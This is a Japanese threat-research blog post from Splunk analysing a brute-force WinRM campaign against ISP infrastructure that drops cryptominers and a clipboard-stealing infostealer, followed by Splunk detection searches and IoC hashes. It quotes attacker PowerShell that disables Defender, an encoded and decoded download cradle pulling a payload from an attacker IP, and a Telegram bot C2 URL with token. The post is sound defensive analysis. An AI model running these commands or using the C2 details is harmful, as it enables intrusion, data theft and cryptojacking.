ISPに対するインフォスティーラー(情報窃取)攻撃
Security Splunk Threat Research TeamSplunk脅威調査チームは、米国西海岸と中国のISPインフラプロバイダーを標的とする攻撃を検出しました。この大規模なエクスプロイト攻撃の発信元は東欧で、シンプルなツールを使って標的コンピューターの処理能力を悪用し、クリプトマイニングペイロードと、以下のような多様な機能を持つバイナリをインストールします。
- 認証情報の悪用(主なベクトルと初期アクセスでは、脆弱な認証情報を盗み出す一般的な手口であるブルートフォースが使われます)
- コマンドアンドコントロール(C2)サーバーを介したデータ窃取
- 追加のクライムウェアのインストール
- 検出を回避するための自己削除
- 永続化と定着、リモートアクセスの無効化
- 標的のCIDRへの攻撃のピボッティング
Splunk脅威調査チームは、攻撃者が検出を回避するために、乗っ取ったアカウントが残すアーティファクト以外の痕跡を残さず、最小限の操作で侵入を行っていることを確認しました。また、スクリプト言語(PythonやPowerShellなど)で動作するツールを多用して移動やピボッティングを行うことで、制限された環境でも活動し、APIコール(Telegramなど)を通じてC2操作を実行できるようにしていることもわかりました。確認されたIP CIDR範囲から、標的はISPインフラであり、その目的はクリプトマイニング操作(XMR)と考えられます。
痕跡
- 初期アクセス(T1078)として、攻撃者はISPインフラに対してブルートフォース攻撃を仕掛け、アクセス権を獲得します。攻撃元のIPアドレスは東欧のものです。
- 環境内に侵入した攻撃者は、複数のバイナリを投下し、「Migration」という名前のフォルダー内に隠します。
- この攻撃で使われるツールには、ネットワークスキャンツール(masscan.exe)とバイナリ(auto.exe、run.exe、MicrosoftPrt.exe)が含まれます。バイナリは、調査の結果、インフォスティーラーペイロードとクリプトマイニングペイロードであることが判明しました。これらは、情報窃取に加えて、SSH接続(C2)の機能も持ちます。前述のフォルダーには、標的のIPアドレスとパスワードを含むテキストファイルも投下されます。
- 標的IPアドレスの数は4,000を超え、米国西海岸と中国のISPインフラプロバイダーを攻撃対象にしています。
- C2とホストにマイニング情報とペイロード情報が含まれます。
ペイロードの分析
以降のセクションでは、この攻撃で使われる3つの主要な実行可能ファイル、mig.rdp.exe、migrate.exe、x64.exeを分析し、各段階で使われるMITRE ATT&CK®の戦術と技法を明らかにします。
分析に入る前に、攻撃者が Windowsリモート管理(WINRM) をどのように使って、標的ホストへのアクセス権を獲得し、これらのペイロードを実行しているかを調査します。
Windowsリモート管理(T1021.006)
攻撃者は、パスワードが不明な場合や、取得したパスワードがハッシュであった場合、ブルートフォース技法を使ってアカウントへのアクセス権を獲得します。ユーザー名とパスワードを取得すると、WINRMサービスを実行してペイロードを展開します。
図1と図2のスクリーンショットから、cmdとPowerShellを使って、親プロセスのwinrshost.exeから複数のプロセスを実行していることがわかります。このプロセスツリーは、攻撃者がWINRMサービスを使って悪質なペイロードを実行していることを明確に示しています。
PowerShellスクリプトをデコードすると、下に示すコードブロックからわかるように、攻撃者は侵害したシステムでさらにペイロードを実行する準備をしています。この準備には、セキュリティ製品機能の無効化や、クリプトマイナーの検出に関連するサービスの終了または停止などが含まれます。また、このようにWINRMサービスを介してPowerShellスクリプトを何回も実行するという動作は、検出した実行可能ファイルの1つであるx64.exeの動作と同じであることもわかりました。x64.exeについては後ほど詳しく分析します。
Set-MpPreference -DisableRealtimeMonitoring $True
Set-MpPreference -ExclusionPath C:\Windows , c:\
gwmi -Class 'Win32_Process' | fl ExecutablePath
sc.exe stop "Windows Updata";
sc.exe delete "Windows Updata";
sc.exe stop "Windows Management";
sc.exe delete "Windows Management"
:
.
mig.rdp.exeの分析
コマンド/スクリプトインタープリター(T1059.001、T1059.003)
この攻撃の調査でSplunk脅威調査チームは、侵害されたホストにmig.rdp.exeという名前のファイルがWINRMサービスを介してダウンロードされることを確認しました。この攻撃ではWindowsバッチスクリプトによって、Base64エンコードされたPowerShellスクリプトが実行されます。このPowerShellスクリプトが、mig.rdp.exeをダウンロードして「C:\users\」ディレクトリに保存し、実行します。
下の2つのコードブロックはそれぞれ、mig.rdp.exeペイロードのダウンロードと実行のためのエンコードされたPowerShellスクリプトです。
エンコードされたPowershellスクリプト:
C:\Windows\system32\cmd.exe /C powershell -encodedcommand
KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUA
bgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAxADkAMwAuADMA
MgAuADEANgAyAC4ANgA0AC8AbQBpAGcAXwBvAGIALgBlAHgAZQAnACwAJwBjADoAXAB1AHMAZQByAHMA
XABtAGkAZwAuAHIAZABwAC4AZQB4AGUAJwApAAoA
デコード後(ペイロードのダウンロード):
(new-object System.Net.WebClient).
DownloadFile('hxxp[:]//193[.]32[.]162[.]64/mig_ob.exe','c:\users\mig.rdp.exe')
エンコードされたPowerShellスクリプト:
C:\Windows\system32\cmd.exe /C powershell -encodedcommand
YwA6AFwAdQBzAGUAcgBzAFwAbQBpAGcALgByAGQAcAAuAGUAeABlAAoA
デコード後:
c:\users\mig.rdp.exe
ユーザー実行:悪質なファイル(T1204.002)
ダウンロードされたmig.rdp.exeファイルはRAR SFX実行可能ファイルであり、3つの追加ファイル、ru.bat、st.bat、migrate.exeを投下します。これらのファイルはすべて、「C:\ProgramData」ディレクトリに置かれ、侵害されたホスト上で実行されます。攻撃者は、標準的なRARではなく、自己解凍型アーカイブであるRAR SFXを使用することで、解凍と実行の両方のプロセスをまとめて実行します。この統合された手法により、マルウェア展開の複雑さが軽減され、被害者にRARソフトウェアをインストールさせたり、ファイルを手動で解凍および実行させたりする必要もなくなるため、マルウェア展開の効率と信頼性が向上します。
ファイルとディレクトリの権限の変更(T1222.001)
ru.batスクリプトは、st.batを実行するだけのバッチファイルです。st.batスクリプトは、Windows Defender Antivirusのリアルタイム監視機能を無効にします。さらに、Windows Defenderの除外パスに「C:\」ルートドライブを追加して、ここに保存された悪質なコードの検出がすべて回避されるようにします。
st.batは、これらの防御回避に加えて、Windowsユーティリティの takeown とicacls.exeを使って「C:\Windows\Tasks\」ディレクトリのアクセス権限の変更も行います。このディレクトリは、攻撃実行段階で、コインマイナーおよびインフォスティーラーマルウェアをインストールするための追加ファイルの投下先として使われます。
図5に、ICACLSアプリケーションを使って、「C:\Windows\Tasks」フォルダーパスでアクセス制御リスト(ACL)の権限の継承を有効にし、(R,REA,RA,RD)モードに設定する方法を示します。権限の内容は次のとおりです。
- R - 読み取り
- REA - 拡張属性の読み取り
- RA - 属性の読み取り
- RD - データ/リストディレクトリの読み取り
これらの権限により、上記のスクリーンショットで指定されているユーザーは、対象となるファイルとディレクトリを閲覧し、関連付けられたメタデータと拡張属性を読み取ることはできますが、ファイル、ディレクトリ、およびその内容を変更することはできなくなります。この防御回避技法は、ユーザーがファイルを変更または削除できないようにするためのシンプルな方法です。
最後に、st.batスクリプトはmigrate.exeを実行します。migrate.exeはパスワード保護されたRAR SFXファイルで(パスワードは4432)、中に含まれる圧縮ファイルを解凍して実行します。
migrate.exeの分析
migrate.exeは、「C:\Windows\Tasks」フォルダーに複数のファイルを投下して、侵害したホストでの悪質な活動をさらに推し進めます。下の表に、投下されるファイルとその簡単な説明を示します。
以下の操作を実行するコンポーネント(Pythonでコンパイル)
- miner.txtをダウンロード
- ビットコインマイナーマルウェアの他のインスタンスまたは古いインスタンスのプロセスとサービスを強制終了
- クリップバンカーを永続化するためにスタートアップフォルダーにコピー
以下の操作を実行するバッチスクリプト
- IntelConfigService.exeをサービスとして登録
- 投下したすべてのファイルを消去
ファイルとディレクトリの権限の変更(T1222.001)
migrate.exeを介してさまざまなビットコインマイナーマルウェアが展開されるだけでなく、関連するいくつかのコンポーネントファイルには、自身のファイルへのアクセスを制限するための特別な機能や技法が実装されています。こうした機能の目的は、特定のユーザーや管理者が悪質なファイルを閲覧、変更、削除できないようにすることで、マルウェアが検出を逃れて活動し、システムに永続化できるようにすることです。
図6は、IntelConfigService.exeから逆コンパイルしたAutoItコードのスクリーンショットです。このコードは、侵害されたホストに特定のプロセスユーティリティツールがあるかどうかをチェックします。プロセスのウィンドウタイトルが「Process Hacker」と一致した場合、スクリプトはApplicationFrameHost.exeプロセスを終了します(このプロセスはXMRigクリプトマイナーマルウェアであることが判明しています)。プロセスユーティリティツールが1つも検出されず、ApplicationFrameHost.exeもwrap.exeもプロセスとして実行されていない場合は、別のXMRigビットコインマイナーであるwrap.exeを実行します。さらに、ICACLSを使って、管理者を含む特定のユーザーが、IntelConfigService.exeがある現在のディレクトリ(C:\Windows\Tasks)にアクセスできないようにします。
migrate.exeは、XMRigビットコインマイナーの別の亜種であるSuperfetch.exeと、MSTask.exeの実行も試みます。
イングレスツールの転送(T1105)
攻撃者は、ICACLSを使って特定のユーザーからのファイルアクセスを拒否する以外に、Pythonでコンパイルされた実行可能ファイルMSTask.exeを使って、C2サーバーから別のコンポーネントファイルをダウンロードします。これも、ビットコインマイニング操作に関連している可能性があります。残念ながら、このブログの執筆時点で、図7に示したURLはすでにアクセスできなくなっています。
ブートまたはログオン時の自動実行:レジストリ実行キー/スタートアップフォルダー(T1547.001)
migrate.exeによって「C:\Windows\Tasks」に投下されたバッチスクリプトrun.batは、ユーザーのログインまたはシステムの再起動時の自動実行を設定して、永続化の仕組みを構築します。
システムプロセスの作成または変更:Windowsサービス(T1543.003)
run.batは、スタートアップフォルダーの技法を使用する以外に、「C:\Windows\Tasks\」に投下されたwmiic.exeを介して、IntelConfigService.exeコンポーネントをサービスとしてインストールします。wmiic.exeは、サードパーティツール「nssm」のコピーであり、Windowsオペレーティングシステムでサービスをインストールまたは開始する機能を持ちます。
痕跡の除去:ファイルの削除(T1070.004)
権限昇格と永続化が完了すると、migrate.exeは、これまで「C:\ProgramData」ディレクトリに投下したすべてのファイルと「C:\Users\mig.rdp.exe」のコピーを削除します。
自動収集(T1119)
MicrosoftPrt.exeは、Pythonでコンパイルされた実行可能ファイルであり、クリップボードから情報を盗み出すためのものです。図10に、クリップボードに保存された仮想通貨ウォレットのアドレスである可能性があるものを識別するために使われるパターンを示します。これらのパターンは、ビットコイン(BTC)、イーサリアム(ETH)、バイナンスチェーンBEP2 (ETHBEP2)、ライトコイン(LTC)、TRON (TRX)などの仮想通貨ウォレットのアドレスを検出するように作られています。
MicrosoftPrt.exeは、pyperclip.pasteライブラリを利用してクリップボードのデータにアクセスすることにより、クリップボードの内容が含まれるExchangeBuffer1内でこれらのパターンを検索します。
画面キャプチャ(T1113)
MicrosoftPrt.exeは、クリップバンカーと呼ばれる仮想通貨の解析機能に加えて、侵害されたホストのスクリーンショットをキャプチャするpyautogui.screenshot関数を備えています。キャプチャした画像は、「C:\ProgramData\screenshot.png」に保存されます。
自動抽出(T1020)
MicrosoftPrt.exeは、侵害したホストのスクリーンショットを取得し、クリップボードから仮想通貨ウォレットのアドレスである可能性があるものを抽出した後、Telegramボットを介してそのデータをC2サーバーに送信します。図13に、収集したデータをTelegramボットに転送する準備を行うPythonバイトコードを示します。
分析では、このPython実行可能ファイルを完全には逆コンパイルすることができなかったため、TelegramボットのURLを抽出するために役立つPythonバイトコードに頼るしかありませんでした。このボットは、マルウェアが収集したデータの送信先となるC2サーバーとして使われます。下のコードブロックは、Telegramボットで使われる初期化された変数を組み合わせてC2のURLを組み立てるための簡略版の疑似コードを示します。
ベースURL:'https[:]//api[.]telegram[.]org/bot'
トークン:'6114976417:AAELsO_lvdyvXRw-Fwj5RmwJFc81WkgJOYI'
メッセージ送信エンドポイント:'/sendMessage'
クエリーパラメーター:
chat_id:'552691400'
テキスト:
ホスト名(pc)
ユーザー名(user)
'LTC\n'
クリップボードの内容(ExchangeBuffer)
'LTC'ウォレットアドレス(Litecoin)
LTCデータを送信するための完全なC2リンク:
https[:]//api[.]telegram[.]org/bot6114976417:AAELsO_lvdyvXRw-Fwj5RmwJFc81WkgJOY
I/sendMessage?chat_id=552691400&text=\n\nLTC\n\n
x64.exeの分析
Splunk脅威調査チームは、「C:\Windows\Tasks」に投下されたApplicationFrameHost.exeによって、侵害されたホストにさらに別のファイル、x64.exeがダウンロードされることも確認しました。このファイルは、自己解凍型のRAR SFX実行可能ファイルで(パスワードは2582)、実行時に複数のファイルを展開します。侵害されたホストでのこのスクリプトの動作は、WINRMを介したPowerShellの実行と同じであることがわかりました。
ApplicationFrameHost.exeはまず、エンコードされたPowerShellスクリプトに含まれるバッチスクリプトを実行します。
ユーザー実行:悪質なファイル(T1204.002)
PowerShellスクリプトをデコードすると、このスクリプトは、そのコンポーネントに関連する可能性のあるすべてのプロセスを終了することがわかりました。その後、x64.exeをダウンロードし、「C:\Windows\Migration」フォルダーに保存します。
x64.exeは、以下のファイルを含む複数のファイルを「C:\Windows\Migration」フォルダーに投下します。
マススキャンの準備とWINRMのオープンポートスキャンを実行
アクティブスキャン(T1595)
auto.exeは、C2サーバーからパスワードのリスト(pass.txt)とIPアドレスのリスト(ip.txt)をダウンロードします。このリストは、特定のISPのCIDRを持つ一連の標的IPアドレスに対してブルートフォース攻撃を行うために使われます。このペイロードは、生成したIPアドレスも標的にします。図17に示すように、マルウェアはマススキャンツールを利用して、関数に渡されたIPアドレスに対してアクティブスキャンを実行することがわかりました。
リモートサービス:SSH (T1021.004)
Splunk脅威調査チームは、auto.exeファイルがSSH経由で一連の接続を試みることも確認しました。auto.exeのコードを調べると、特定のSSH認証情報を使ってSSHポート経由でC2サーバーへのリモートアクセスを確立することがわかりました。これらの認証情報は、実行可能ファイルにハードコーディングされている可能性があり、これによってC2サーバーとの認証と通信が可能になります。通信にSSHを使用するのは、サーバーとの安全で永続的な接続を維持することでコマンドの送受信やデータの窃取を確実に行うためだと考えられます。
リモートサービス:Windowsリモート管理(T1021.006)
auto.exeとrun.exeのどちらにも、WINRMサービスのポート(5985)が特定のIPアドレスに対して開いているかどうかをチェックする関数が含まれています。マルウェアは、そのIPアドレスと、事前にダウンロードしたパスワードリストを使って、スキャンを試みます。接続に成功するかWINRMポートが開いていることを確認すると、検証済みの認証情報をTelegramボットを使用したC2サーバーに送信します。この動作は、他のコンポーネントで確認されたものと同じです。このように、WINRMを利用してリモートアクセスを行い、盗んだ資格情報をさらなる悪用のために転送することで、脆弱性のあるシステムを巧みに悪用します。
コマンド/スクリプトインタープリター(T1059)
run.exeは、侵害したホストでクリーンアッププロセスの一部として、複数のスクリプトとPowerShellコマンドを実行します。興味深いことに、このブログですでに解説した、WINRMサービスを使ったPowerShellスクリプトの実行、特に、侵害されたシステムへのmig.rdp.exeのインストールと同じパターンがここでも使われています。これは、このマルウェアが、感染したホストで、クリーンアップ、永続化、検出回避など、さまざまなタスクの実行にWINRMを使い回していることを示しています。
図22に、このマルウェアで実行されるPowerShellスクリプトとバッチスクリプトに含まれるコードスニペットを示します。ここから、このマルウェアが再びmig.rdp.exeをダウンロードして実行することがわかります。ただし、今回ダウンロードするのはアップデート版だと考えられます。さらに、Windows Defender機能を無効化し、Windowsのユーティリティツールである takeown とICACLSを使って、ファイルの所有権を取得してアクセス制御リストを変更することで、各種のアクセス権変更を行います。これらの操作の目的は、侵害したホストで検出を回避し、制御を維持しながら、自らの存在を確保することだと考えられます。
サービス停止(T1489)
このマルウェアは、クリーンアッププロセスの一部として、スケジュールされたタスクを削除し、XMRigクリプトマイナーに関連するすべてのサービスを含め、自身のコンポーネントに関連するすべてのサービスを終了または停止させます。これらの操作の目的は、侵害したシステムでのマルウェア活動の痕跡を除去し、検出を回避して、永続化を確立することだと考えられます。
レジストリの変更(T1112)
run.exeは、レジストリの変更によるRDPサービスの無効化と、サービス設定の変更によるWINRMサービスの無効化も行います。これらの操作の目的は、リモートアクセスをブロックし、侵害されたシステムの制御を取り戻そうとする試みを阻止して、感染したシステムへの定着をさらに確実にすることです。
アカウントアクセスの排除(T1531)
run.exeはさらに、Windows OSの quser ユーティリティを使って、侵害したホストでアクティブなすべてのユーザーのログオフを試みます。この操作は、継続中のセッションを中断し、ユーザーが悪質な活動を検出または阻止するのを回避するための行動の一環だと考えられます。
攻撃者
標的ホストへの侵入とそれに続く操作の中で確認された活動から、この攻撃者は、スクリプト言語(Pythonでコンパイルされた実行可能ファイル、PowerShellコマンドなど)を利用することで、さまざまな操作の痕跡を最小限に抑え、防御の仕組みを無効化し、リモートアクセスをブロックしており、C2通信にTelegram APIを利用することで検出を回避しています。
これらの活動は、標的ホストでの操作を成功させ、できるだけ多くの処理能力を獲得するために、必要最小限と言えるでしょう。Splunk脅威調査チームは、Cisco TalosのIntelligence Centerを通じてこの攻撃者を検証することもできました。
また、VirusTotalのチェックでも悪質な活動が確認されました。
標的
このブログの冒頭で述べたとおり、攻撃者は、米国西海岸と中国のISPインフラプロバイダーが使用する特定のCIDRを標的にしています。マススキャンツールを使って大量のIPアドレスをスキャンしてから、開いているポートを調べ、ブルートフォース攻撃によって認証情報を取得します。Splunk脅威調査チームは、標的になっているISPプロバイダーの4,000件以上のIPアドレスを確認しました。
Splunkのセキュリティ検出
Splunk脅威調査チームは、Splunkのお客様がこのクリプトマイニングおよびインフォスティーラー攻撃に関する痕跡を検出するために役立つ一連の検出を開発しました。以下のセクションで説明するこれらの検出は、関連する他の検出とともに、新しい分析ストーリー「Crypto Stealer」に組み込まれています。
Suspicious Process File Path
以下の検出では、正規のソフトウェアには通常関連付けられないファイルパスから実行されているプロセスを特定しています。エンドポイント検出/対応(EDR)エージェントのデータを利用して、エンドポイントデータモデル内の特定のプロセスパスを重点的に調べます。
| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)
as lastTime from datamodel=Endpoint.Processes where Processes.process_path
IN("*\\windows\\fonts\\*",
"*\\windows\\temp\\*", "*\\users\\public\\*", "*\\windows\\debug\\*",
"*\\Users\\Administrator\\Music\\*",
"*\\Windows\\servicing\\*", "*\\Users\\Default\\*", "*Recycle.bin*",
"*\\Windows\\Media\\*", "\\Windows\\repair\\*",
"*\\temp\\*" , "*\\PerfLogs\\*","*\\windows\\tasks\\*", "*:\\programdata\\*")
by
Processes.parent_process_name Processes.parent_process
Processes.process_path Processes.dest
Processes.user
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`
Executables Or Script Creation In Suspicious Path
以下の分析では、Windowsシステム上の不審なファイルパスで実行可能ファイルまたはスクリプトが作成されたことを特定しています。Endpoint.Filesystemデータモデルを使って、通常は実行可能ファイルやスクリプトの保存に使われないディレクトリ(「\windows\fonts\」、「\users\public\」など)に作成された特定の拡張子(.exe、.dll、.ps1など)を持つファイルを検出します。
| tstats `security_content_summariesonly` values(Filesystem.file_path) as
file_path count min(_time) as firstTime max(_time) as lastTime from
datamodel=Endpoint.Filesystem
where Filesystem.file_name IN ("*.exe", "*.dll", "*.sys", "*.com", "*.vbs",
"*.vbe",
"*.js", "*.ps1", "*.bat", "*.cmd", "*.pif") AND Filesystem.file_path IN
("*\\windows\\fonts\\*",
"*\\windows\\temp\\*", "*\\users\\public\\*", "*\\windows\\debug\\*",
"*\\Users\\Administrator\\Music\\*",
"*\\Windows\\servicing\\*", "*\\Users\\Default\\*", "*Recycle.bin*",
"*\\Windows\\Media\\*",
"*\\Windows\\repair\\*", "*\\AppData\\Local\\Temp*", "*\\PerfLogs\\*",
"*:\\temp\\*")
by Filesystem.file_create_time Filesystem.process_id Filesystem.file_name
Filesystem.user
| `drop_dm_object_name(Filesystem)`
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`
Windows Boot or Logon Autostart Execution In Startup Folder
以下の分析では、永続化の技法としてよく使われる、Windowsの「%startup%」フォルダーでのファイルの作成を検出しています。Endpoint.Filesystemデータモデルを使って、このディレクトリでのファイル作成イベントを検出します。
|tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)
as lastTime from datamodel=Endpoint.Filesystem where
Filesystem.file_path = "*\\Microsoft\\Windows\\Start
Menu\\Programs\\Startup\\*" by Filesystem.file_create_time
Filesystem.process_id Filesystem.file_name Filesystem.user Filesystem.file_path
Filesystem.process_guid Filesystem.dest
| `drop_dm_object_name(Filesystem)`
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`
Windows File and Directory Permissions Enable Inheritance
以下の検出では、ICACLSを使った権限継承の有効化を特定しています。この検出では、ICACLSコマンドを使ってファイルまたはディレクトリの権限継承が有効化されるケースを特定します。「/inheritance:e」フラグ(親ディレクトリから継承された権限を復元)を監視することで、より広範なアクセス制御の設定を適用し直す可能性のある変更を特定できます。
| tstats `security_content_summariesonly` min(_time) as firstTime max(_time)
as lastTime from datamodel=Endpoint.Processes
where Processes.process_name IN( "icacls.exe", "cacls.exe", "xcacls.exe") AND
Processes.process = "*/inheritance:e*"
by Processes.parent_process_name Processes.parent_process
Processes.process_name Processes.process Processes.process_guid Processes.dest
Processes.user
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`
Windows File and Directory Permissions Remove Inheritance
以下の検出では、ICACLSを使ってファイルまたはディレクトリの権限継承が無効化されたことを特定しています。「/inheritance:r」フラグ(継承された権限を削除し、オプションで明示的な権限を保持または変更)を監視して、アクセスの制限や独立した権限の設定につながる可能性のある変更を特定します。
| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as
lastTime from datamodel=Endpoint.Processes
where Processes.process_name IN( "icacls.exe", "cacls.exe", "xcacls.exe")
AND Processes.process = "*/inheritance:r*"
by Processes.parent_process_name Processes.parent_process
Processes.process_name Processes.process Processes.process_guid Processes.dest
Processes.user
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`
Windows DNS Query Request by Telegram Bot API
以下の分析では、Telegramに関連するDNS APIコールの使用を検出しています。このAPIコールは、マルウェアがC2サーバーとの通信によく使用するTelegramボットを介したアクセスが行われている可能性があることを示します。
`sysmon` EventCode=22 query = "api.telegram.org"
| stats count min(_time) as firstTime max(_time) as lastTime by query answer
QueryResults QueryStatus process_name process_guid Computer
| rename Computer as dest
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`
Windows Remote Management Execute Shell
以下の分析では、CMDまたはPowerShellプロセスを開始するwinrshost.exeの実行を検出しています。これはペイロード実行の一部である可能性があります。winrshost.exeはWINRMと関連付けられ、一般的にリモート実行に使用されます。
| tstats `security_content_summariesonly` min(_time) as firstTime max(_time)
as lastTime from datamodel=Endpoint.Processes
where Processes.parent_process_name="winrshost.exe" AND
Processes.process_name IN ("cmd.exe","*powershell*")
by Processes.parent_process_name Processes.parent_process
Processes.process_name Processes.process Processes.process_guid Processes.dest
Processes.user
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`
Windows File and Directory Enable ReadOnly Permissions
以下の分析では、ファイルまたはフォルダーの権限が読み取り専用アクセスに変更されたことを検出しています。このような変更では、読み取り関連の権限(R、REA、RA、RD)のみが付与され、書き込み(W)や実行(X)の権限が付与されないことが特徴です。
| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as
lastTime from datamodel=Endpoint.Processes
where Processes.process_name IN( "icacls.exe", "cacls.exe", "xcacls.exe") AND
Processes.process IN ("*/grant*", "*/G*") AND Processes.process IN ("*SYSTEM*",
"*admin*", "*S-1-1-0*", "*EVERYONE*")
by Processes.parent_process_name Processes.parent_process
Processes.process_name Processes.process Processes.process_guid Processes.dest
Processes.user
| `drop_dm_object_name(Processes)`
| rex field=process ":\\((?[^)]+)\\)"
| eval has_read_attribute=if(match(permission, "R"), "true", "false")
| eval has_write_execute=if(match(permission, "(W|GA|X|M|F|AD|DC|DE)"),
"true", "false")
| where has_write_execute="true" and has_read_attribute = "true"
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`
Windows Account Access Removal via Logoff Exec
以下の検出では、quserコマンドとlogoffコマンドを使ってユーザーセッションが強制的に終了させられたことを検出しています。このアクティビティは、管理タスクまたは不正アクセスが試行されている可能性を示します。
| tstats `security_content_summariesonly` min(_time) as
firstTime max(_time) as lastTime from datamodel=Endpoint.Processes
where Processes.parent_process_name = powershell.exe AND
Processes.process_name = logoff.exe
by Processes.parent_process_name Processes.parent_process
Processes.process_name Processes.process Processes.process_guid Processes.dest
Processes.user
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`
Windows Obfuscated Files or Information via RAR SFX
以下の分析では、SFXインストール中に作成されるRAR SFX .tmpファイルに関連するファイルの生成を監視することで、RAR-SFXファイルの作成を検出しています。実行可能コードと圧縮されたRARデータの組み合わせを示す特定のマーカーに基づいて、ヒューリスティック手法を使ってRAR SFXアーカイブを識別します。
`sysmon` EventCode=11 TargetFilename IN ("*__tmp_rar_sfx_access_check*")
| stats count min(_time) as firstTime max(_time) as lastTime by Image
TargetFilename Computer
| rename Computer as dest
| rename TargetFilename as file_name
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`
Crypto Stealer分析ストーリーに全部で43の検出が含まれ、そのすべてが、関連するMITRE ATT&CK技法に対応付けられます。
IoC (侵害の痕跡)
a30d06973921bcd0ee9fac761
a30d06973921bcd0ee9fac761
8a30d06973921bcd0ee9fac761
8f6b1f92a6ada7b93cf6a7cf03
002940d99b326970353c8a545
fb476cfe163877f3d03b4d08
b316ac15722192f1c559a50
ef396d59715a355a3162b96
1ccb989a35d3ed470fd1d521f
96a3418d8e15d28c998fb9c53
0fd418a3dfdac60b5c160ee5
0fc74575e4cefe4f543f2768
eca5f26aa187d2e8c0e9a105
bffe89cc964cb27c10e496f08
0fc74575e4cefe4f543f2768
3e31c37d1eee1c2580d6c7fa
64657ca7bb4322536a810192
56ae9011721e84746b99571e
ab49ee05afa81b4714d033c
詳細情報
このブログは、セキュリティアナリスト、ブルーチーム、およびSplunkのお客様に、このクリプトマイナーおよびインフォスティーラーマルウェア攻撃で使われる戦術や手法を理解し、攻撃を検出するために役立てていただくことを目的としています。このブログで紹介した検出は、Enterprise Security Content Updates AppまたはSplunk Security Essentials Appを使って導入できます。Splunk脅威調査チームが提供するすべてのセキュリティコンテンツは、research.splunk.comのリポジトリでご確認いただけます。
フィードバック
ご意見やご要望がございましたら、GitHubから遠慮なくお寄せください。Slackチャネル「#security-research」にご参加いただくこともできます。SlackのSplunkユーザーグループへの招待が必要な場合は、こちらの手順に従ってください。
寄稿者
このブログ記事を執筆したTeoderick ContrerasとRod Soto、そして執筆にご協力いただいたSplunk脅威調査チームのJose Hernandez、Patrick Bareiss、Michael Haag、Lou Stella、Bhavin Patel、Eric McGinnis、Nasreddine Bencherchaliに感謝を申し上げます。
関連記事

CrowdStrike製品によるWindows障害の影響を評価するためのSplunkセキュリティコンテンツ

アイデンティティ/アクセス管理とは?
